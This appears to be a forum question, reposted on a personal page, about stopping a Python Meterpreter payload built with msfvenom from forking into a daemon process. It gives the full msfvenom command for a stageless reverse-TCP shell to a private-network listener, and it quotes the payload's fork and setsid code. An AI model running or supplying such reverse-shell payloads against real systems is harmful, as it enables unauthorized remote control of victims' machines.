• caglararli@hotmail.com
  • 05386281520

How can I prevent msfvenom Python payloads from forking without manually decoding the payload?

Çağlar Arlı      -    36 Views

How can I prevent msfvenom Python payloads from forking without manually decoding the payload?

I am generating a Python payload using msfvenom with the following command:

msfvenom -p python/meterpreter_reverse_tcp -f raw --platform python -e generic/none -a python LHOST=192.168.173.137 LPORT=9090 -o stageless_payload.py

The payload works and connects to the multi/handler, but it runs in a separate daemon process, which is triggered by this code segment in the generated and decoded payload:

_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
    if hasattr(os, 'setsid'):
        try:
            os.setsid()
        except OSError:
            pass
    # connection logic follows...

By decoding the payload, I discovered that setting the TRY_TO_FORK flag to False prevents it from forking, allowing it to run in the main thread, which is what I need for my application.

Is there a way to instruct msfvenom to avoid forking or directly set TRY_TO_FORK = False at generation time, so I don't have to manually decode and modify the payload each time?